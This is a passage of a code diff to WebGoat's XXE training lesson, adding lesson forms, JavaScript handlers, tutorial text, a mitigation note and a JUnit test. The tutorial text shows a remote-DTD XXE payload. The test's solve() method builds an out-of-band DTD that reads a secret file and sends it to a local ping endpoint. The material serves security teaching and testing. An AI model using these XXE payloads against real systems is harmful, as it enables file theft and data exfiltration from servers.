which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN" prepareData="registerJson" method="POST" name="form"
|
||||
action="/WebGoat/XXE/content-type" contentType="application/json">
|
||||
<div id="lessonContent">
|
||||
<strong>Registration form</strong>
|
||||
<form prepareData="registerJson" accept-charset="UNKNOWN" method="POST" name="form" action="#attack/307/100">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Username</td>
|
||||
<td><input name="username" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>E-mail</td>
|
||||
<td><input name="email" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Password</td>
|
||||
<td><input name="email" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td></td>
|
||||
<td align="right"><input type="submit" value="Sign up"/></td>
|
||||
</tr>
|
||||
</table>
|
||||
<br/>
|
||||
<br/>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
prepareData="contentTypeXXE"
|
||||
callback="contentTypeXXECallback"
|
||||
action="xxe/content-type"
|
||||
contentType="application/json">
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
<div class="pull-left image">
|
||||
<img th:src="@{/images/avatar1.png}"
|
||||
class="img-circle avatar" alt="user profile image"/>
|
||||
</div>
|
||||
<div class="pull-left meta">
|
||||
<div class="title h5">
|
||||
<a href="#"><b>John Doe</b></a>
|
||||
uploaded a photo.
|
||||
</div>
|
||||
<h6 class="text-muted time">24 days ago</h6>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="post-image">
|
||||
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
|
||||
</div>
|
||||
|
||||
<div class="post-description">
|
||||
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control input-lg" id="commentInputContentType" placeholder="Add a comment"
|
||||
type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<button id="postCommentContentType" class="btn btn-primary">Submit</button>
|
||||
</span>
|
||||
</div>
|
||||
<ul class="comments-list">
|
||||
<div id="commentsListContentType">
|
||||
</div>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_overflow.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_blind.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
<form class="attack-form" accept-charset="UNKNOWN" prepareData="register" method="POST" name="form"
|
||||
action="/WebGoat/XXE/blind" contentType="application/xml">
|
||||
<div id="lessonContent">
|
||||
<strong>Registration form</strong>
|
||||
<form prepareData="register" accept-charset="UNKNOWN" method="POST" name="form" action="#attack/307/100">
|
||||
<table>
|
||||
<tr>
|
||||
<td>Username</td>
|
||||
<td><input name="username" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>E-mail</td>
|
||||
<td><input name="email" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Password</td>
|
||||
<td><input name="email" value="" type="TEXT"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td></td>
|
||||
<td align="right"><input type="submit" value="Sign up"/></td>
|
||||
</tr>
|
||||
</table>
|
||||
<br/>
|
||||
<br/>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
prepareData="blindXXE"
|
||||
callback="blindXXECallback"
|
||||
action="/WebGoat/xxe/blind"
|
||||
contentType="application/xml">
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
<div class="pull-left image">
|
||||
<img th:src="@{/images/avatar1.png}"
|
||||
class="img-circle avatar" alt="user profile image"/>
|
||||
</div>
|
||||
<div class="pull-left meta">
|
||||
<div class="title h5">
|
||||
<a href="#"><b>John Doe</b></a>
|
||||
uploaded a photo.
|
||||
</div>
|
||||
<h6 class="text-muted time">24 days ago</h6>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="post-image">
|
||||
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
|
||||
</div>
|
||||
|
||||
<div class="post-description">
|
||||
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control input-lg" id="commentInputBlind" placeholder="Add a comment" type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<button id="postCommentBlind" class="btn btn-primary">Submit</button>
|
||||
</span>
|
||||
</div>
|
||||
<ul class="comments-list">
|
||||
<div id="commentsListBlind">
|
||||
</div>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_mitigation.adoc"></div>
|
||||
</div>
|
||||
|
||||
|
@ -31,7 +31,7 @@ xxe.blind.output=Contents of the file is: {0}
|
||||
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
|
||||
xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack
|
||||
xxe.hints.simple.xxe.3=Try to include your own DTD
|
||||
xxe.hints.simple.xxe.4=Try to include a doctype (<!DOCTYPE...) in the xml
|
||||
xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml
|
||||
|
||||
xxe.hints.content.type.xxe.1=Take a look at the content type
|
||||
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
|
BIN
webgoat-lessons/xxe/src/main/resources/images/avatar1.png
Normal file
BIN
webgoat-lessons/xxe/src/main/resources/images/avatar1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
@ -1,22 +1,52 @@
|
||||
webgoat.customjs.simpleXXE = function () {
|
||||
var commentInput = $("#commentInputSimple").val();
|
||||
var xml = '<?xml version="1.0"?>' +
|
||||
'<comment>' +
|
||||
' <text>' + commentInput + '</text>' +
|
||||
'</comment>';
|
||||
return xml;
|
||||
}
|
||||
|
||||
webgoat.customjs.simpleXXECallback = function() {
|
||||
$("#commentInputBlind").val('');
|
||||
getComments('#commentsListSimple');
|
||||
}
|
||||
|
||||
$(document).ready(function () {
|
||||
$("#postComment").unbind();
|
||||
$("#postComment").on("click", function () {
|
||||
var commentInput = $("#commentInput").val();
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: 'xxe/simple',
|
||||
data: JSON.stringify({text: commentInput}),
|
||||
contentType: "application/json",
|
||||
dataType: 'json'
|
||||
}).then(
|
||||
function () {
|
||||
getComments();
|
||||
$("#commentInput").val('');
|
||||
}
|
||||
)
|
||||
})
|
||||
getComments();
|
||||
})
|
||||
getComments('#commentsListSimple');
|
||||
});
|
||||
|
||||
webgoat.customjs.blindXXE = function() {
|
||||
var commentInput = $("#commentInputBlind").val();
|
||||
var xml = '<?xml version="1.0"?>' +
|
||||
'<comment>' +
|
||||
' <text>' + commentInput + '</text>' +
|
||||
'</comment>';
|
||||
return xml;
|
||||
}
|
||||
|
||||
webgoat.customjs.blindXXECallback = function() {
|
||||
$("#commentInputBlind").val('');
|
||||
getComments('#commentsListBlind');
|
||||
}
|
||||
|
||||
$(document).ready(function () {
|
||||
getComments('#commentsListBlind');
|
||||
});
|
||||
|
||||
webgoat.customjs.contentTypeXXE = function() {
|
||||
var commentInput = $("#commentInputContentType").val();
|
||||
return JSON.stringify({text: commentInput});
|
||||
}
|
||||
|
||||
webgoat.customjs.contentTypeXXECallback = function() {
|
||||
$("#commentInputContentType").val('');
|
||||
getComments('#commentsListContentType');
|
||||
}
|
||||
|
||||
$(document).ready(function () {
|
||||
getComments('#commentsListContentType');
|
||||
});
|
||||
|
||||
var html = '<li class="comment">' +
|
||||
'<div class="pull-left">' +
|
||||
@ -31,15 +61,15 @@ var html = '<li class="comment">' +
|
||||
'</div>' +
|
||||
'</li>';
|
||||
|
||||
function getComments() {
|
||||
$.get("xxe/simple", function (result, status) {
|
||||
$("#comments_list").empty();
|
||||
function getComments(field) {
|
||||
$.get("xxe/comments", function (result, status) {
|
||||
$(field).empty();
|
||||
for (var i = 0; i < result.length; i++) {
|
||||
var comment = html.replace('USER', result[i].user);
|
||||
comment = comment.replace('DATETIME', result[i].dateTime);
|
||||
comment = comment.replace('COMMENT', result[i].text);
|
||||
$("#comments_list").append(comment);
|
||||
$(field).append(comment);
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
}
|
||||
|
@ -8,11 +8,11 @@ Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This
|
||||
|
||||
[source]
|
||||
----
|
||||
curl -i http://localhost:8080/WebGoat/XXE/ping
|
||||
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
|
||||
|
||||
will result in:
|
||||
|
||||
GET curl/7.45.0
|
||||
GET curl/7.45.0 HelloWorld
|
||||
----
|
||||
|
||||
at the server side.
|
||||
@ -33,12 +33,12 @@ Now submit the form and change the xml to:
|
||||
----
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/attack.dtd">
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<user>
|
||||
<username>test&ping;</username>
|
||||
</user>
|
||||
<comment>
|
||||
<text>test&ping;</text>
|
||||
</comment>
|
||||
----
|
||||
|
||||
Now if we check our server log we will see:
|
||||
@ -48,7 +48,8 @@ Now if we check our server log we will see:
|
||||
GET Java/1.8.0_101 HelloWorld
|
||||
----
|
||||
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible.
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
||||
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||
|
||||
[NOTE]
|
||||
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
|
||||
|
@ -19,3 +19,11 @@ xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
|
||||
----
|
||||
|
||||
For more information about configuration, see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
|
||||
|
||||
|
||||
==== Validate
|
||||
|
||||
Implement proper validation for the Content-type and Accept header do not simply rely on the framework to handle
|
||||
the incoming request. Also if the client specifies a proper accept header return with a `406/Not Acceptable.
|
||||
|
||||
`
|
@ -0,0 +1,90 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.io.Files;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/4/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
XXE xxe = new XXE();
|
||||
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
if (logFile.exists()) logFile.delete();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void validCommentMustBeAdded() throws Exception {
|
||||
int nrOfComments = comments.getComments().size();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</text></comment>"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongXmlShouldGiveErrorBack() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</ext></comment>"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
|
||||
"%all;";
|
||||
Files.write(dtd.getBytes(), file);
|
||||
String xml = "<?xml version=\"1.0\"?>\n" +
|
||||
"<!DOCTYPE root [\n" +
|
||||
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
|
||||
"%remote;\n" +
|
||||
"]>\n" +
|
||||
"<comment>\n" +
|
||||
" <text>test&send;</text>\n" +
|
||||
"</comment>";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(xml))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
|
||||
}
|
||||
|
||||
}
|
Reference in New Issue
Block a user